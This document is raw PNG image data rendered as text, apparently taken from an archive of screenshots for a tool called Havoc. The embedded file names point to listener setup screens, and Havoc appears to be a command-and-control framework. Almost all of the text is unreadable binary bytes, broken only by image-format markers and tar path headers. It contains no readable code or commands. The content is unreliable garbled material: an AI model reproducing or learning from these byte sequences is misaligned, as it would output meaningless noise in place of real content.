w\sٳ&koCVޗ:yy;ukn۾o*_|N~#)c|rDtNk+K\}n{oBk*JRtZ De(]:Y%k֭ut٧c,]KDGL|\.$6mh:rĹ'}m,BV37%%icBB7~7$$ͭ:0ݳ篈;s_'O,BF:龟z14,xq{CXX8:/7d;H$l*6ip)-"\]KpaYãm.pqq,.|%B3 ЬYO4j¤jn=kV|OrT"XPQ版'"B&yㅿ8x8873ʳEssD)] aA^hy4>>I{# 1,0 ˲,1,˲La"bYK7 B@$D!zT/"!z-&:\?"8N>1EZZrHk] wH "!B@$D+BalemDz]wpQoZZQ^C~&,+qtzZ! "DB|ݸQ-bmx8rpU懥 ML 144ݳͺ5{hf͏G@Y3F-]4iE"Lvk'H 팂ollm<bZK;_EER1ⴿԧHةck?ߋyB5v\[ szcf۶W<}^ܵD:흽NO:}:'U矪Ssڙ\0oU)fSL3W{wu' '#M<ãTszY6YΣȾN]`TӜYc]{in?j)ѵnn۫G;ۻ1 $#kLLV)whJD~aDԾ]S;S+Mic~5:%%k앫U-ldMM98S۳@k/:}!MSM}H})U335IHL"Frv_v2e\KrYrߓK 3>egg=~쀹sS&>rS䔙WT*"-0?db1BX\]7mR⥛꒹K$,y^:iʒln?:}*"4Rs)o&&@ӎmܨV'MY0u_~jb6Vr}1ˈ"ݫmJ'/ IMK0xI-߃yթq\ڞǎ_ulѭ3~ꭸZhXq E mЀn;vBGYe˸+G}Ξ5I]Snx]<萟D{uo>wKKFF5jT9vL&ԅRtW.w缟ŎԴIG޿[.8{zOժoE/vuu/=C٠~u"rr/~\휙\rjU ˗NڽTѵz!vڽU|>{v.>vxk׫~a!ot8$3S/͖<|;JaDRV?4]B~QdTebV1\:1qnlzUW|U+ڷgYMrT2x`;ܿg9OtjNDgv=<+{Q>wloϲfeN&K222SSӅiFffjjzZС٭;-=##=##<=#+iiaKjU351s7Ec޼uQMe^c{ˀQ hղi:̚tGko~^ug%ss3p*z;fnӾoؠvF?q~ПNsw/}آWRT*/qF5q|\.5c[~[nqQct5{16HHLp&mq{1݁Fu|]5uIjo7B5)QծUwAa%\k\g#">7##cmYp-~玿Uzz&6jȠn+ٹ`ц?wJ%D4x`7wc۵hIÎ +h'JV)GD킂=+ղEs C"l1l<=z1{v.^dJr5LOy8NUӎuq.+o$޾XDDÍK.Y)*:D ǵھpȠRiuҭ\sjU+}zJ NN?|Ŷ^F+K:}uڌ~lPKj8;L8d#]Zeff':;;dddy"lWDdL&1G_ǥ+njYhAӺLL 'z힐dE{Ql\7k҄!nnN7IߒH$wYQۗL"$:&nUTT*/_=߶}_ppX||¹ލI>r aQ/]l/_yUHHhܴs=?88L23ץTWPpU[lM>cM{UF4j7vtꎟ8״Yo ut}Rζ֍TZ^}G<ϛh^鲭)JҰclKr{sq#++ĤdBuLMc?rmGumed^-W֖v>FmD8੖:X@=3|JJidTL1[+㗥K9+fcmmiiaڵS)S1ti[ԬQZkմޔXG'mR~A5kT -f^yWف d;w~WVE}?VT_]2EDVZWߕrs1VSǝ9{lZդQmCCl 2uu_ __~mϟ|)r(\8f\ԷOׅLNN]fٳѱxݺumOD ==w/Xi]RA7$ }69S娬i]7qJ>Cɩw=*:6*:Xf?bG8--̧L} eeKFDD}V.ݸwrrjrr*=~2%5GVvϵ$uDdme8IIzzfRRJo?xMZ#"r-x0BD*/JRSӃ?M⎶+}ڢF J烂&NYҫG=Z_aӁm)/v\KMS oU}z+]a N;6=##--X@c(!1)**aaQ^+YYPL/GD'O]iղ}[?MLLef4RIj?EDo֮) h>z.p<Ͻxrr{'zxx]=$eX"Z1 ?P73Sq`?YIɖfJJӺNڴIG2{Zf&}?`A,+ QzzMnjѼ={2$4lժWojWlllmJ~XV0 Gl==+\r#DZ:]r)W?ekgk~&22R䉃;qξxgg%ޯԺI#~Sqq Z Q##c dK6DްA1n~Ըa#GZU97oMHLJU[dIꇄfMM<0m?6Æ9y\m3ǤDDM3ff& y zDuǾ}Li -fUc3FG<)fnn8g:ukWO_z0sfdԫ+OD,˲,k gZ\&e[Z~8 Jv9qꊦf#CB#6m>Y'"#c~-D.(lﳳ~%auT7X6Gx"8үoc|Q00RֵD~]o޼KD?fkkT*/55M.Ѿ}FTa%\-ߦ}HnjШ]ZZZ_ 00uܶbEf_uE:,²Guy6/]8XS0=3v;YRi֍Y-_t:U]NDCuW( 6n>`hh`hhP(/Z5_BN"Hؿ)) W+QԸBtu[g)s>ujWgg1ZMo{I{{셑QQQh:ɛ7rUeK5e0 iXFE\|0"^BerYxx y뷾X[DtՊV!J;vhmVEeZi=qʻKNv&&F~rXT*իTJsQn mZhx.ۏ&   TvG]f{.uJ,یӉS a\fbb8|hϨ~O45{Ou<+{0 caa֤qM"JoBC"=G&F7d ~jPZ8g]ZVV^q,nd0LRD\cEuՙh:?CF={βP"*Yeۖ)ɻBD733ٺeT* |yQ㺓^TU[MԻ|+F7o~ Wh]lݳf|cc>L#KTERxF#ӫ]tt܂޽ %&k+=; ._wO6aNX TtCMN޶Ha71w|B–mׯfccU 9 `ox oI$RO`XXԂE 6oc/\9bXi3pQVd: 0XRucO\v/?wK\ޫcpa.(8<22F(wq.wVv:Zn5Bxeݕc+fH1X֬}T*\ҸaMWc/]PlqR][0M~(;F}˂޽PXv՚ZԪYy-kSxsaCC]DdrhޱMȒe[fcm{M"MLL'wD״ݳg䤔{k[HMu]Ϟl|`1W}ź5*,8xfQ;w/鋃7-Y;H.][ell8{ƘĤ;_]ZXYg0LOz}zm2Q U-?kΚNNLkLuSvi%ϓi||FbXaeYbXe,,oe-YMꞿH*D(.̻RQ'ʗ+{2zo"z5Ocŕ wO_(tE"P1ޗ?q޽;=ޝs~'M)Vk[7NmܰT]qE>vnD gp-[6=j+G|/:;;Q2n;sQgMR Ɏ:eϱ_8=S~-֪uf̜1܌:wjӷwרrBMGGV=pxFG \zռ7p䅙'[<˲;uc޼uQMe_JR.nB7WdO)>677k٢I^CRRR>Js*ϝRx1c梾}.grr5[Ξ\ ӗB"T*UߟF$&& ,-eY"R( 4w0{ IDAT{[,+^j"$4, mC􌍛vmբy{e!n@_΅ş?=u33TZų{ظ}:._:S0dDm: үF*B ׯkffڷO\nhhC#33M_7[[RyirL(Jm8agd/D͘$#3ׯkfF6شa}G6ﶳ%v'޹jNhԨ勇RVURY%\mYqٽ簿a\. @1yx"?yㅿ8x8873ʳEssD)LL-$..R3x,,L㓴2 ð,ò,da!"&똞DY 4 / "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D!..R]"D%% a" DBH "!B@$\LL-tkn,, t~0ejj|;AT}L8R?))e]I@|Y<,zyDֈ'M٦NرDe2c~WuD ]zԉݕ*SwhaWW{o~BjԨ>I{; 1,0 ˲,1,˲La"bYKgWd"!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBH "!B@$D! "DBHR]w.גt0"!B@$D! k Jt;OKKa0 kЄe%Vv:nW!?@ "! "DBH(_3^AT}Lrzuk޹6jC[dzU<+t]+B@$=y_>kC5BSSŋ]x6* e]i|U=8iHg];ܺqjㆥ<+Gϝjll(nݲe˦G z娟EggGtޗتit@OK}Q}=!IPJ)B:(BK (- eVI!l $ ۉmY[־y8Y޲8l?8tw籰gݿw?3nf xdHٲ‹~䩗_yp֬ǻyc K.^~r$I~w!2ٿ?y(78XLQnC?H>b"Zf;+V~!;{vGlmKy]ryZ.Kilp9<|͖m[o{sCo$X,f4jG-!X4O>s"zi^soeUC{}.}'Zذc7 &BÏ˃˓؉H$"uGu'VV/!p*:,k0%Xȇ~h~ti*>/^BDzY*qӖNNlU]]5f$ICe|KWZjz߮x}mmwY'^h N>;Օ[K^?p[p֎w˭_]]pYx~sܳf׏>B?释 rGo~ګ/_?|Q8I4j*v@^bu [.8'9Bp.Z8m6dlW|ZڱL7-[2vʼ@#1Ƙ$I1I$"1ƈgz7t!%Dd YB5w<=?t>DG??vZ=v啗̛WH&x'WC=|C41o1^3]V\TpUMp鵵3=+c<W\ _KLnbYyyC%)M-Xp[o,\[kXvuW_YK/>6gY\UUZ姟jԚ!ZZ۟^{T*/͚U}7ђ|c_tΒמY*QOD|Š/ 9W4_t+ҋT/.`;}nq2 C4RYwm}z~W{z`VX+OuyO>]' Fj˟|~aYbYUU/]wʫouO9x 38?[?ą.Joy){=/7:j_֬Y1?|kRZRrvu˖'~pN<梋} 7Dʫo}ɚnkn/7wn O;1Rҥ+-,"*+-n=]3Z={x )))>s?rf%G9:~^{uS]U+_^uZGc תvϷwqg\ܡhF!^}rMW>NssM %EDts֭9b-#ȵg_ַiCM?,_Zs +RIeɧ^H/\ח,^Dt'=s]h4މǘL"mVT?=uQ zշ.8,"2 Gqk-\Zm6=TnWS!n=٬=p87 :p":xU>!"?W_O>o޴#O=SޥO޲e+~^3ϼĈ|оV ` wsѢ%.] H՚{yy隵뇾+dlKTT8z{Ty <^H_rsm+V|^Qw;'"gYikk.c.!DiiIccS(~\|~~ϼ C֌Tz2 ceM[ZZە5U2!YRIw{elZ-DT=?}-eү}3YfEȨ uGu'~1h}Æ͜? ޹uk9 .c>GuΊҵ_'"1EDsv37oy$%?gGL~;rŻZYՃ^;l2::dY>+uC_"sy,rgiY>̝;3;בhF5ҁuޙfUw-zNI^$i}M|j?Z`#VWŗ\_]7\jn_{u⧞~\VVGgCzc;'Td7v^UϿt{7߯VZ{uuD|1S +*gOeWuu̚$)◗QC,8C'&!_w￦|8G7y1?k~c*}8Dt|nݕɅj˿"]qݑGb^|Qz{v //yX<~#_^yIGG /&n;#?e/i{/yr}֟wĊ/He[n;H3o0ц [~?zʉoo}Sm[O<Y?rª/qIDen~bKGqeW\wb'Xݼ rB Ipι aG3CD"=#X6L&+s;\o Q AveE cL$$IKΞ.3J=X$"Qɘt:V+|k%S"vGr]MYS%?]07yYIGV.o",!B KRfdqhx\Z0=TjFVis{cBp2)O|S,'cp43RZ!h 9m0YB@!%Dd YB@!%vjuqV R,\W$DLF(4]O#ۛ9E!$fԨT\&nQyF B&94 ]]\W&+)qy5"d2<DȤ!HBL#+_$JKg-6ιqw|Fk޾IQZVRZ#!wwbGZh\w2眈 SՌ-_r.$IolXWZ:#!N.˭hL&[iiJ ۷)7_Ǩ@1<rQsooX {w0*Zg ]vX% ! FN1:~{ƒ*eIHVfq9uwv4ܽ< _鬘qw(6[QkKثbtRlDt{7ee5M۾ -yb ɪ=MOuRY3Q4QeBN""[q-[tl$AىX雷*,>i[PI sAU!o 43$#DTvdtunW0&lᜇ{x\R[_ t\Fz6&qea(S." BPwm"Wuh' k9qw|.P["*-h$zB>ey0Mo$#"Fg0Xf61ˑ >z% `--l#D$Rl 0MD\X4Dy!͛"PmchhnD{CbX,RnkmT%Vkdn$3!UXX ~) !x"g"KF Z+_ `vDzӃ&V=#6Fdػ,'OII%$F[Ty]D&f+RW2Yd9mϥ KF chWDu[&T*Z4-QoBkd_xl "Zљxh-U5I:MyT Quݰ{Khs1F6efTGVgp8HĈ**e;Es6Mx߅3ʋ+k{(%X,PZ:Ci!taKǮG<mm0 `)ղ.#A=U{%c=>xǧ0=A2B6oZ=t5̈4r{[c%BжmOAopS\UFGzzcƦ]΁kUi CHLD"_9蕜'[7hoۿpo _!!cL֖81\"vCR9b[?YN$UntCA_{(.vF"֖ 01Ep.96v.W:tyk^7].:"BI%כM+ &{8TM!嶶vYRRptN r]29$qMMgL$q!/ϑ!F"9l95NB@!%Dd YŒA5X,LR"0qAo,uEFVX r]L!`z}Dd YB@!|;n_FDɄ?vuesڬʪ͛P{= IDATVV͉DBډls8*mŝ`*!͛^ob~+54BHDBh4.RRPRvo%IUZ:lqν.35]MBҲjJPU5'ܯ1QPMcϰeQn/$IֆH$a'6iC<+PkXTyl2YuZ%Uʒ2g JRWͨrh{QQy42[&"Y1Vڲc=,l;m]L&-qADkT49uQOOw7H}`*$0,]ە%I--[8@<WVka} K|ny[kcu\ykkI"ɄVL&h'CџSE"˒*ddi,ȅ<:hicOED:AJZSG=XX s~oDh-+noXT\Q\\]]drz7oYҲ%bD1RkSV5!1U,)sV*Zd2'CYHOKƆujlPA*4BBIF-*r."jGU[{C[Vn) !2gu8ey\2mF1)EaRLĵZNg~ljTvdQGҲ=9>s1F6ѾY>3%1"+|YMZ !JNOp{xm6GIieSӆx,6~o@nXZM&cjooژKIMv^LDMjl&"x: KK}6[׽C,Ey`ԴQy:vϊZ8n9uTT۟ $N)![!&s1e <*j-Rpqww{Aa9okm9ommd#l~Z |DPHc!~?y!UUuHOSD", |s"zH7A޵D\)ўh,UX\lbwAP"J&{1*/vŢd"ѾZIu:|]|YZV^Y=g9 JV0 Ln~BT !Bss.BXf3|A6q2[w`.s46UpT .Wsf=Z!n 1$II$1Lk嘞zF':2cjYsi!m>nw{(63-"syչT3 !;6 _F [8Qgd2,;c,(Gr.'U*f/VD<)'(j5zuM6Vl@OL6eόI--[X'ljrA!U;ڷnkMnRUUǹ45mL$Vka<K&6EnbE՜L&NWԁ9  h'D_0'P7n՟6\WrjΰlgX+q@#1Ƙ$I1I9w1ƘQ$<,!B K"dr\u w29͏0&q-de~nj,",!B KRo퀓ET]fgK]}~XVX9.%46o/"0 B`N:c~{ġҔnrNw|sb^}~xA~^L "齷:0i B`ڢ_v"uUv%~s?n2t)Hj:lnuE`2A(:eF$SID\&:e6Z"!sP$IYcI\a=rN|l|0!0:t8f!*pmAħ5q\Ȃ\ܚ8w{gE띓{wݏ~\֢_^t^X'<L"bZ!kd[ +fF,7;ّ{=^{ݧ!rF@BPܨm:tBur:g8g .l=zvv=͍룱=|׫Ͽ0'(/\Op">}rYWR1xv#K?/ww\Piqo7j|7>>vNQbLF럮~D]}y.}69^h>RFVk+5>ys6l^vj5Uլ8Vow@z|AV7MíCU/4jm["΅hD{}؊&;uDzE񇞼y߳3DBG.uGw9<~S3n5 AB RJN9Whr=,\ύ[֮/SDTՃFEƱ Jlw;{BPߜ"sqًDY;{Ƽ.bE'HȂэcG~{~^gSEg_ǹ8h6q?U]> oWVK!qVx+pW=knZ]Otdy!GxZ{{=g_[RXADB\w ['<_rV=ӎ>dI%HsVXe̟*I}12ڙz;ONDʧ0!> e .8BX9/L8KٱK|GxOHLw@c`/5x$Ƙ$ILbLb#&)sʕ{Mux1#z::Ȃ1rYwre>CC`:ִ7M.ui,d\f1qGF7d*r& !fH7P$8qF1R b!j)0^?̳I2%9Hnj4oDE bD I8DI D,Hc$.*57 ;aCJ D"$FazRO,։F.FjXɇ{;>9IX-IENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/ListenerSMB.png000066400000000000000000000345351467014221700237400ustar00rootroot00000000000000PNG  IHDRFdӠ pHYs+ IDATxg`ހn Hh"]@"U ".XDE@ĊHQH"I HBRy?fi&g [fgfpff'F&m$WJD`#ݲwM%|7Da'4Y}v%(ɶz] %s+oL,1L2C)1 %)3/i:g3rO5[pnEpgF!2 1ҋaYba87׹E6p--ٷ>XQ$)#*r-1S2UG נEDኋ2ùD)%.:j`(õ6CyאŲrb9%~XđRL?X\||Rr%bfKNa%!{#|Ŋ\,L cX(< 23pɞ,yEQg[D){lleYxXHs$!ΤM]\r؅󀉲 eYi3,K, 2}ɴ+}ZsXZB@ d)!=;.,~.V8iss*B;D,yE6p`QKp Y2FR®0(Xr!2/9Oa/;IJ&`%z(7Bw\'Q2d$&KJm}gZxG^c$@)TK/p4jd}zss+;z؂N݅϶L/!!13ƍiXAAe׬CDgBBeZ2nMluLUj eiii3E7<K_P}a("v ~ɰ֭9r|Ϟj]ްa=-3>| ]ܒS=wԢ^P |QVa|YVАB6-8GK˖kbcD4@^L.d[4c\7*--S}b 29,1Qw!0n zzs +"bYVbbl޴|ɟ=q瀾Ǐ'ʖ |A7>88x uЊ}o>,rt?k츉)))GK"2wΏii&W "9!?yԔΝozj'$ۿsϿY7-_pIbbryg';%Y~SD9W<cUCG2eNX)\ /z ߀"Qe[!&l:߮]{Dd؏ڷW&KիwC)ɝ;-۴mc7qeKwas(ёի~gU/ {;֦MgmWyI "+dT=-nY’ʝz/ "p5E$::46lFtxêU zUD{RVÇv9X:0vŋ`-?y}uWn߰~˧LKPeygjjO=2xm۴^|U/q(0LV?r:+O s?1wr_N[EF/izE]{sOP>$DD5kЃnݼ|0*Vr^'66{gxꉓ۵koAs655UD6o!"CVyo]{$x.;ƍ4hPw߾'HJJvߎ9+"k֬w'?Qf*"o~ի涸Pu}=<|Onzڳgw>}-/QN'ϧ 9..'Osݡ0(II)Ӧʹl>}Ϲsnex~g>t?WjjjV˔ _v톳gzܹIns(jGF1n4{4-ҵzt,3m^T2I}* @1c'nݼI+ygcc]Y/<|fԩ_sݷ7-vYP^zi0E$-}(k}o^rCRS]n޼E. w?հaQvsyٳB,gV>d˚r**3sV gOZbͅ,+7X(.!Qi8 ecCP|^_E\Wz,,K9/l|ޡ!c]o!ɖ5?bЋq0 4Mt^0 00]Wwz[r='_RJ4s(FREƤ)+ϯtK9cdǶrɻ,,e9ҒQeIRΨJ4y3}"iSkRS#Ьi$1( gЌ4#-H @3Ќ4+ĕ3q8 r%BRQzJ y9;fihFZfihFZfzVb^ȕe9"t)Z+J>ӴVRK)\: 6VihFZfEkZڅժNHx헞x^(bS`Ai<өczj{>[//q-vڡsv?x㕗-]2^ #خ}b *m}{/y5}.䋴$$&6c<;o\fw=^vw>ؼYظC7S~jѢn[O?yg:_D{^Lp(|.䋴bLvzlHaݺ23iiiGkJӘOGߵkʕ^z5ً:ujKtpq @>bnQiִqDĩӧLuNRJ_`Zh2{TmYmP~yݷ 8qJDLujذn-rߎ8yQ٪.F)&X~ٹsoa=wjݺ1G۶  ػMnKU/ |zQ>9z,b C >;ݻv r9jCCWRs-v?ev?d F&mDD4+mqK),òDYe)eYJz@5/_ܫr~Eaibi.a"o}fihFZm,QܫyƊhI]p刎,s-[rrBCŽP4#-H @3Ќ4 1l6S{E ~~sE ҢMPPPh*W5i$(JIJrʿn% E[ҢפqSfFG-u5it͚E Ң1Ž"s˟?Z "-:̿R JlHVJ iPdueO^( Ao[6~𿗯5ku; _;}o"-kV7 f3cbb,\)zo?Leb>V=k]^nu`3z)#EԤEDzmw]uՕcGc,r},K~N|1˲U^JϨpl۶sZ5=gQ``<}Sl+wd/FuwBB-?zLT36?x*GFHՆ ܢUeH.Ϟ/ ޽ro2qZc^k׮"cCw[/ݻuڼe{n]_GÇ p\W?? F{k;:vWnެ} j WJ98kk˖WN]իƹ_դ􊎉pCw!ˬ/|ŝKQ-[^%%dX ߍZKk5úumsN#9?x'e۷?k-[wO?ͼۯu SSRǎ p|?`'E9pJKK?`2-^*22m]o8yZ:|l]u]GZKy`pYvK&=yڼej٢7o]\+㣴|lj ۷~t ztqO/gOtaǿ{j]^}ŊͰZv{䩪׻b lX?!!zQ/ٴy֭{nW~0|osׁ2>>isN>Xaɦͻ[6ڼe-rTk뛷|ĴխSaú5헙>pת7Ñ믚?qtjaժU=yTzWH ҲeSr<p[Y-_)JTz6,w%^~q6myD䉓grT%;V֣{3Q1b\\kMf'9̞pqs.پcwߦZnS _|F4lPG??˞|LLv/&lظ㵼/ϴnx} I^^eTkN/blfZ5n\I ‰8q˳9-GE3ag~6{׎aaUO%$$͝I򪱣9ʕ;4dGC<_e{SSS,\ڶSٽg /3髑aaرÏ>g?ឡa]8ϴ(\o1 ll{M$?{b7_{<5F.ߤhԤMŹxi#h97e,Rʲ վN'9Kks*S7v8S+\?HJJ>Y\\ia)ib:1hptm7/Ž:<JRC,G=z}ޱm^zDz}ė|v8Ni\Kݗ+ kPYڨbgٓN@!KJLي|OZq8tJ+emEɎ׭f;Ο?i67×͚HN oٴzvaU oƮ eJB=eӟ~rݚ[6-]꺶>rjrrʢEor{Ԯ2|Naϊ/ܳ q=;{>}u۩c[no_b}sNٰAb᳇z>P24-m۶^|UZZhҵʵ|ꓑ̝h]p}-q?& 2|N]EGD^VrU,)ݓ'OU+7Χ~ZUMn۾3?S )[|pLL'8""@K=]{ZCG9.>Mڵ:u [""ժU=Ev3 s曼LoߡW]iٜw7koA 4nc.]rًԯLq'}W~˧i=gQZZ!l-9 uԲESͼەRkmesﭷv⊚O߃^R)+)׬ݘԓuk[ΚPD .ϝ<^'#i<88߿~:PJ崴&%%l%OӒc/a߿{o?ٷА fvpϼZϙy?8o=eZllܴ'T:/۫,zwڶzeO2h!{ne4;E jsmKY+ԭSNZMs~gm߾p?( FMڈR^mqK),òDYe)eYJ8[=xgG=թ]Ʒط Jh0 4MS 4MtO?H';^㕗5JY9?b __g9ްW/s 3~O!(vJSAel6,gS(K)Qqq hHKppPJJjDqRP.lB_]8_#%%d0 III { c-dƧ.PbkbH @3Ќ4#-H @R{R 00(Riڊ{E\,u*99WQK FWiB+Z( -H @3ЬMV3g|Sk(5]pEKMwpԟ5.{ߦϛ-i?EDznѷOO1g,Sի}Knz p+AiñmEj,88he̟=[i^:y&o }a_|qpp97koSV,3⣡AAe,#O?烁obe_ݺvܹ|AKZ^?qHzoث3~=$~:fK~0p1)Yiq |ԙ z ysɓ?tU~.[O?yw o]D{>/߸qkd;|_Y]t_IDAT9lެQllܡG)?hn{Y#p8RT~LJK``ګg^e57LC̝Y"ҿ_իׯ^p̜GN/h>vorewWֵÐGFIKKs8Ҝ9囟9kמ+%&&yYְGuY;=pp/ZwSE]C?JLLܾ}_8e?Ȏ4Fj-[\ufL#dnܸu}>pn#"N>}&d[t8,[tYp)Ail/KZjǎ"qшQ'zOwMujذ^-]WX\R.ʿqֶmZO>GDfZm۶6 #4b^79ݻ^>e"sjUztԺuc>:<^[/Myb~׫W~ٓJ4jMZ5V _=폝|5aa|zЫ"Ok Rs-Ϝ?rj׮D豈c& BtٱM޵cXXU^egѦi|D.:F&mDDD]>*RJYe,Rʲ s˗;{6>C3=̮yy^cGyyV)P!86Eaibi.#lwm Ќ4dѥŽ o4#-%e1VB䊎:UBW`Y(o2X˥#99!^ (0F-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3Ќ4#-H @3EjA/|5EZEW6^ b"b`lR诊~⋴KH )otሏO("-a'`A|(s@3Ќ4#-H @3_!ҧ|jrlg/Z8%spŽ"X6۴bvfZ gg/TVwv=Zf QXմ%-E+| JԔ^d =|`_־[ Q]wko^\|H QKVUD,>63(Gj1/9R'{iAX^=ZXO#iAaX6^ޣRD\W-Gĺ~Wr=Hrh^뇍}ݲ j7W^(KiAa4wOg=Mlm{XfɌ?F>^1s֢ɵ3'fVB%d5p!-( e)]-x[/Fqц%gl|Ww(9~v>m3>zbdW;t/㖌x嫰5%yq?s۞cדQ 0,K *+^y,f_v?<h8xy5^ne;nnqk6.~j4Y4^n?e]l|`?r_{Z=_beI KW-?[|吠 6l_0#ݺ YO҂a fʆ<|K;?3'v5}RkA%vϢ_Us۴_c,wJJN?k\2RSϝ;T\GFE-4TQ©̟zCΏ{|pSǓSvAĔ/[IZP8M!R"2xŮjUjs3~+%e9f_96-L}[qʒ嫘'-zZx=rAqY^rVm fRJ2re9NGT:Qbj5SQrrŪ5)YVɱK]a1s0k-ۗHJN\q5Z]ݻb$"S[oǤiRZ}RAeBiFK?;O׺?1x0L1Nܹo$*̉.|C?2%9Lt?ud㎵ےzYjuj6HMMQltݹMOMMMNNZiٹx!иCll3FGŞ (ӰvGzݲuWwݹӇ_<EzzI/GŜ mo]>rC_iָW?nwE~7?bmo&}&TpP*5DD)ߎ_V=m'Qj'|ٲnĨIolԶ]z2jAϿ9o[JpyhR,KbYo#?+% (c4{J7 o ~;-C %\G{CW^XY^vh"bnݲY@߯8m>X+<4o̗Z6#CJ!#V>k><,_'"JLmH{gǢ zNJT-y W>&&p*H, 10.bdbYvR疾{}bPey?dpKOer$J+!KіLZ2}% ϴd?,r3v@ddxgL>l fJ!0ݻҿR^!fRQ!"b g)PI\(ϫYf%W`x3Ӂׁz#c|bacإegoK!Te)bi(21"ɢ (C%JpIz>vI_w #(z/V3g2^;wZe#U(Iaَ|cX3Z>8˓79oҽkvX~cMT$3 [2`$=NN梸3M+ޯ)B/xɲH%dds\,gey2H.]u ""FD25Fr~\qO:9AIENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/Listeners-Add-New-Remove.png000066400000000000000000001561321467014221700262270ustar00rootroot00000000000000PNG  IHDRR:{] iCCPICC ProfileHTH #RBhK! $Ć PVt  lbþ .l8}wޜ3|̝;ss&I8V M! qC ȀL.fDf=MS*? p/qDsŒ P_/+C<+K3I3<< 3e:&" Op$I4?=!-DJ--mC#1b3'o9d99$2-x/a8<-i= % $~aG~ʊCfYțf/r鬸YqdkSg9QÖ`G2?;|%+d{%JXYHD>[?G=˙¨YNO ai~sn_YiWȖDz1rjb"e O^PY %+dS  Ԁ<7! Ăe  H@X6P]TGA+8΁K G `  2D m2l yCP CIBkPTCzg$t@~hz}Q0 V5aCx̀p/pojw>%<(9 @1P,T*֡ QjTՅC>h*@Бh.z%z]C/oco2Fcqư11$LS\ bcXbؽfl;pj83+.e p{ppgqpx96ËyR| ~?AP$ !aa+ p0H RFDWb1XFl"^$>&ӕs[$'˕+;"wY_IdJb-ZR-L6${-zySGy<['^BE+SaBB1 ECE"GqbI^q bM Q) +a%O)_y*GeQԍԃԋAe2[9YHr򘊒JJJi>fHcRi[iGihic9?F\fÚ̵Au[~07nqCʆ_Jm؞?wM.G/{= Y})_&$nu66Ѷ{ݷוPJrJvhIYݮ廮ڕV&+ ,kۣg۞/͕+?c_SfUQ?ڰ@vFk.Bc}}FFQ8rhɡ5Y4o5GG^G;1578^yzjY2*hkm9ݥ/Ԟ9UqZ33g&wK:7йw.,}1K>w1^v|WW[9\knįvnx=gn:w;;y~޾R~pQc'OJj<>^ן?{4x{_󟓟i bP|e^|-y=wv:CǟO{?ǺOO]?Md}})j[Ǔib3= xS 9Mgfifigiqp.! kGgL 0&`L 0&D `L 0&`L 0k"Bk1&`L 0&`f 0&`L 0&6WTU@ByJJDfF;lזpUE+ض+G_X8IJf$R8;`e8j,/rrҠRPTI-X2YԆ3&`L 0&-LP4-aoӖ2i_rr:$hOhM]XEJ2*s9*"PkGAV$.F҂d7JDT SqodƵ *`L 0&`L Ā?== Z=_[ҳґv>NNn4N JemEK ZӧBNN$P+$+B mc✐̤g6`L 0&`LV&wS )"B*4 տ NV?I N 4q,xJ iPoX⡉ǿL 0&`a}/VĝĆhԑO[V:ɛL 0& & LD\qͥ';}a ؠ,AK*h.8h-jh_&`L 0&`:4QLSs& }q44qũM CA[秎8ɯc!|4A\ceO) PPA[x ڂ/o&,7vx 0&`L 0&J@횋/:(Bcu@A y[$XC0:ST!X+Eh: ",h f;ￃݻwK+BbUN5,X80&?8qb8`Yx| GLx0V|ޏоN/Bpۼώtn*E_+ &`L@X6N`= bmӷv be߀%q`Af+-=\Q4+<XR Z&~~~$x,9)2a6jfL 0&`t rqx I6G31oMf!] x,}7R0xqiXw7Y 2pE7ccL 0&*   kk ;}部 o @`A!P7~#\} '])T5!\>{Ӛ9Ғ1Fx 0&ߧ㞏U``X AWg2Wg]oǰ]j ǯqiw? | yA8Z</2"?aL 0&ZBLL-an^9(ͅ„{&"Hd (HJJD1<L 0&u6s6do?6Ii+y% øq߀ 4 PT,QF#Et*}:TBqL 0& ;[mqo_-|(R>_InZsi!|(WkB J!XC=KF1?J,h"^u? &`LzI rIPT]G7Gؽv7=wuYB|hR=` xip-:/"HŹw#cıp>\O1Z&`);*Ik ZCBN +L*Ɵ +?ك&>]B$B;PSz +/B4fB!`A''aL 0&@]J1qwpzk)L3#l-v0u^: _\s/^H`+Xt#Ks9{_ཧBV`L 